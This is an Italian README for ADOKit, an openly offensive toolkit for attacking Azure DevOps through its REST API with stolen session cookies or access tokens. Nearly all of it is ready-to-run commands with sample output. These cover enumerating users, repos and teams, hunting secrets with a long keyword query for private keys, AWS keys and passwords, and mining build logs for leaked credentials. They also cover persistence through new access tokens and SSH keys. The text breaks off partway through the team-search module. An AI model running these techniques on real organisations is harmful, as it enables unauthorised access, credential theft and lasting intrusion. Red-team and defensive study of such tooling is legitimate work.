
Kit di attacco modulare che sfrutta l'API REST di Azure DevOps per ricognizione, escalation dei privilegi e persistenza utilizzando cookie rubati o PATs.
Azure DevOps Services Attack Toolkit - ADOKit è un toolkit che può essere utilizzato per attaccare Azure DevOps Services sfruttando l'API REST disponibile. Lo strumento consente all'utente di specificare un modulo di attacco, insieme a credenziali valide (chiave API o cookie di autenticazione rubato) per l'istanza di Azure DevOps Services corrispondente. I moduli di attacco supportati includono ricognizione, escalation dei privilegi e persistenza. ADOKit è stato sviluppato con un approccio modulare, in modo che nuovi moduli possano essere aggiunti in futuro dalla comunità della sicurezza informatica.
I dettagli completi sulle tecniche utilizzate da ADOKit sono nel libro bianco di X-Force Red whitepaper.
Le slide delle presentazioni e le demo sono incluse nella cartella BHUSA Arsenal 2024 in questo repository.
Le seguenti librerie di terze parti sono utilizzate in questo progetto.
| Libreria | URL | Licenza |
|---|---|---|
| Fody | https://github.com/Fody/Fody | Licenza MIT |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | Licenza MIT |
Segui i passaggi seguenti per configurare Visual Studio e compilare il progetto manualmente. Richiede due librerie .NET che possono essere installate dal gestore pacchetti NuGet.
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"Di seguito sono riportate le opzioni di autenticazione disponibili con ADOKit quando ci si autentica a un'istanza di Azure DevOps.
UserAuthentication sul computer di un utente per il dominio .dev.azure.com.
/credential:UserAuthentication=ABC123AadAuthentication sul computer di un utente per il dominio .dev.azure.com.
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/" o Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
/credential:eyJ0..La tabella seguente mostra i permessi necessari per ogni modulo.
Esegue un controllo di autenticazione per verificare che l'organizzazione stia utilizzando Azure DevOps e che le credenziali fornite siano valide.
Fornisci il modulo check, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo restituirà se l'organizzazione fornita utilizza Azure DevOps e, in caso affermativo, tenterà di validare le credenziali fornite.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Caso d'uso
> *Ottieni l'utente corrente e le appartenenze ai gruppi dell'utente*
#### Sintassi
Fornisci il modulo `whoami`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo restituirà l'utente corrente e tutte le sue appartenenze ai gruppi.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di esempio```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Recupera le organizzazioni utilizzando un token di accesso specificato.
Fornisci al modulo listorgs le informazioni di autenticazione richieste. Per impostazione predefinita, questo comando elenca solo le organizzazioni accessibili con il token di accesso fornito.
/mode:aad per enumerare tutte le organizzazioni DevOps all'interno del tenant Azure AD, indipendentemente dall'accesso diretto./endpoint:ENDPOINT_NAME per specificare un endpoint AEX personalizzato.
"X-VSS-DeploymentAffinity" da aex.dev.azure.com.ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### Elenca Repository
#### Caso d'uso
> *Scopri i repository utilizzati nell'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listrepo`, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo produrrà il nome del repository e l'URL.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di Output```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Cerca repository per nome del repository nell'istanza di Azure DevOps
Fornisci il modulo searchrepo e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Questo restituirà il nome e l'URL del repository corrispondente.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Elenca Progetti
#### Caso d'uso
> *Scopri i progetti in uso in un'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listproject`, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo produrrà il nome del progetto, la visibilità (pubblica o privata) e l'URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di output```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Cerca progetti per nome del progetto nell'istanza di Azure DevOps
Fornisci il modulo searchproject e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà il nome del progetto corrispondente, la visibilità (pubblico o privato) e l'URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Ricerca Codice
#### Caso d'Uso
> *Cerca codice contenente una determinata parola chiave nell'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `searchcode` e i criteri di ricerca nell'argomento della riga di comando `/search:`, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà l'URL del file di codice corrispondente, insieme alla riga del codice che corrisponde.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Esempio di Output```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Cerca file nei repository che contengono una parola chiave nel nome file in Azure DevOps
Fornisci il modulo searchfile e i criteri di ricerca nell'argomento della riga di comando /search:, insieme a eventuali informazioni di autenticazione e URL. Questo restituirà l'URL del file corrispondente nel rispettivo repository.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Ricerca Credenziali
#### Caso d'uso
> *Cerca codice contenente segreti come password o chiavi API in Azure DevOps*
#### Sintassi
Fornisci il modulo `creds`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo produrrà l'URL del file corrispondente nel suo repository e le righe corrispondenti in cui sono presenti le credenziali.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di esempio```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Scarica i log di tutte le esecuzioni della pipeline (log di build). Potrai poi cercare offline informazioni e/o segreti.
Fornisci il modulo getbuildlogs insieme a /project: per un dato progetto per scaricare tutti i log di build per questo progetto. Se desideri scaricarli per tutti i progetti, specifica all nell'argomento /project:. Verrà creata una cartella ADOKit-[caratteri casuali 8] nella directory di lavoro corrente per scaricarvi i log.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Elenca i log di build
#### Caso d'uso
> *Elenca i log di build disponibili per un determinato progetto o per tutti i progetti.*
#### Sintassi
Fornisci il modulo `listbuildlogs` insieme a un `/project:` per un determinato progetto per elencare tutti i log di build per questo progetto. Se desideri elencarli per tutti i progetti, specifica `all` nell'argomento `/project:`.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Output di esempio```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Cerca i log di build che contengono una parola chiave in un'istanza di Azure DevOps
Fornisci il modulo searchbuildlogs e i criteri di ricerca nell'argomento della riga di comando /search:, insieme a /project: per un determinato progetto per cercare in tutti i log di build di questo progetto. Se desideri cercare nei log di build di tutti i progetti, specifica all nell'argomento /project:. Questo restituirà l'URL del file di log di output corrispondente, insieme alla riga nel log di build che corrisponde.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### Creare PAT
#### Caso d'uso
> *Creare un token di accesso personale (PAT) per un utente che può essere utilizzato per la persistenza in un'istanza di Azure DevOps.*
#### Sintassi
Fornisci il modulo `createpat`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo restituirà l'ID PAT, il nome, l'ambito, la data di validità e il contenuto del token per il PAT creato. Il nome del PAT creato sarà `ADOKit-` seguito da una stringa casuale di 8 caratteri. La data di validità del PAT sarà di 1 anno dalla data di creazione, poiché è il massimo consentito da Azure DevOps.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di Output```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Elenca tutti i token di accesso personale (PAT) per un determinato utente in un'istanza di Azure DevOps.
Fornire il modulo listpat, insieme alle informazioni di autenticazione e URL pertinenti. Questo produrrà in output l'ID PAT, il nome, l'ambito e la data di validità per tutti i PAT attivi dell'utente.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Rimuovere PAT
#### Caso d'uso
> *Rimuovere un PAT per un utente specifico in un'istanza di Azure DevOps.*
#### Sintassi
Fornire il modulo `removepat`, insieme a tutte le informazioni di autenticazione e l'URL pertinenti. Inoltre, fornire l'ID del PAT nell'argomento `/id:`. Questo produrrà in output se il PAT è stato rimosso o meno, e poi elencherà i PAT attivi correnti per l'utente dopo aver eseguito la rimozione.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Esempio di output```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Creare una chiave SSH per un utente che può essere utilizzata per la persistenza verso un'istanza di Azure DevOps.
Fornire il modulo createsshkey, insieme a qualsiasi informazione di autenticazione pertinente e all'URL. Inoltre, fornire la propria chiave pubblica SSH nell'argomento /sshkey:. Questo produrrà l'ID della chiave SSH, il nome, l'ambito, la data di validità e gli ultimi 20 caratteri della chiave pubblica SSH per la chiave SSH creata. Il nome della chiave SSH creata sarà ADOKit- seguito da una stringa casuale di 8 caratteri. La data di scadenza della chiave SSH sarà di 1 anno dalla data di creazione, poiché è il massimo consentito da Azure DevOps.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### Elenca le chiavi SSH
#### Caso d'uso
> *Elenca tutte le chiavi SSH pubbliche per un dato utente in un'istanza di Azure DevOps.*
#### Sintassi
Fornisci il modulo `listsshkey`, insieme a tutte le informazioni di autenticazione rilevanti e all'URL. Questo restituirà l'ID della chiave SSH, il nome, l'ambito e la data di validità per tutte le chiavi SSH attive dell'utente. Inoltre, stamperà gli ultimi 20 caratteri della chiave SSH pubblica.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di output```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Rimuove una chiave SSH per un determinato utente in un'istanza di Azure DevOps.
Fornisci il modulo removesshkey, insieme a qualsiasi informazione di autenticazione pertinente e l'URL. Inoltre, fornisci l'ID della chiave SSH nell'argomento /id:. Questo indicherà se la chiave SSH è stata rimossa o meno, e poi elencherà le chiavi SSH attualmente attive per l'utente dopo aver eseguito la rimozione.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Elenca Utenti
#### Caso d'Uso
> *Elenca gli utenti all'interno di un'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listuser`, insieme a tutte le informazioni di autenticazione pertinenti e all'URL. Questo restituirà il nome utente, il nome visualizzato e il nome dell'entità utente.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di Esempio```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Cerca uno o più utenti nell'istanza di Azure DevOps
Fornisci il modulo searchuser e i criteri di ricerca nell'argomento da riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Questo restituirà il nome utente, il nome visualizzato e il nome principale dell'utente corrispondenti.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Elenca Team
#### Caso d'uso
> *Elenca i team all'interno di un'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listteam`, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome del team, il nome del progetto e la descrizione del team.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di esempio```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Cerca uno o più team specifici nell'istanza di Azure DevOps
Fornisci il modulo searchteam e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Verranno restituiti il nome del team, il nome del progetto e la descrizione del team.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
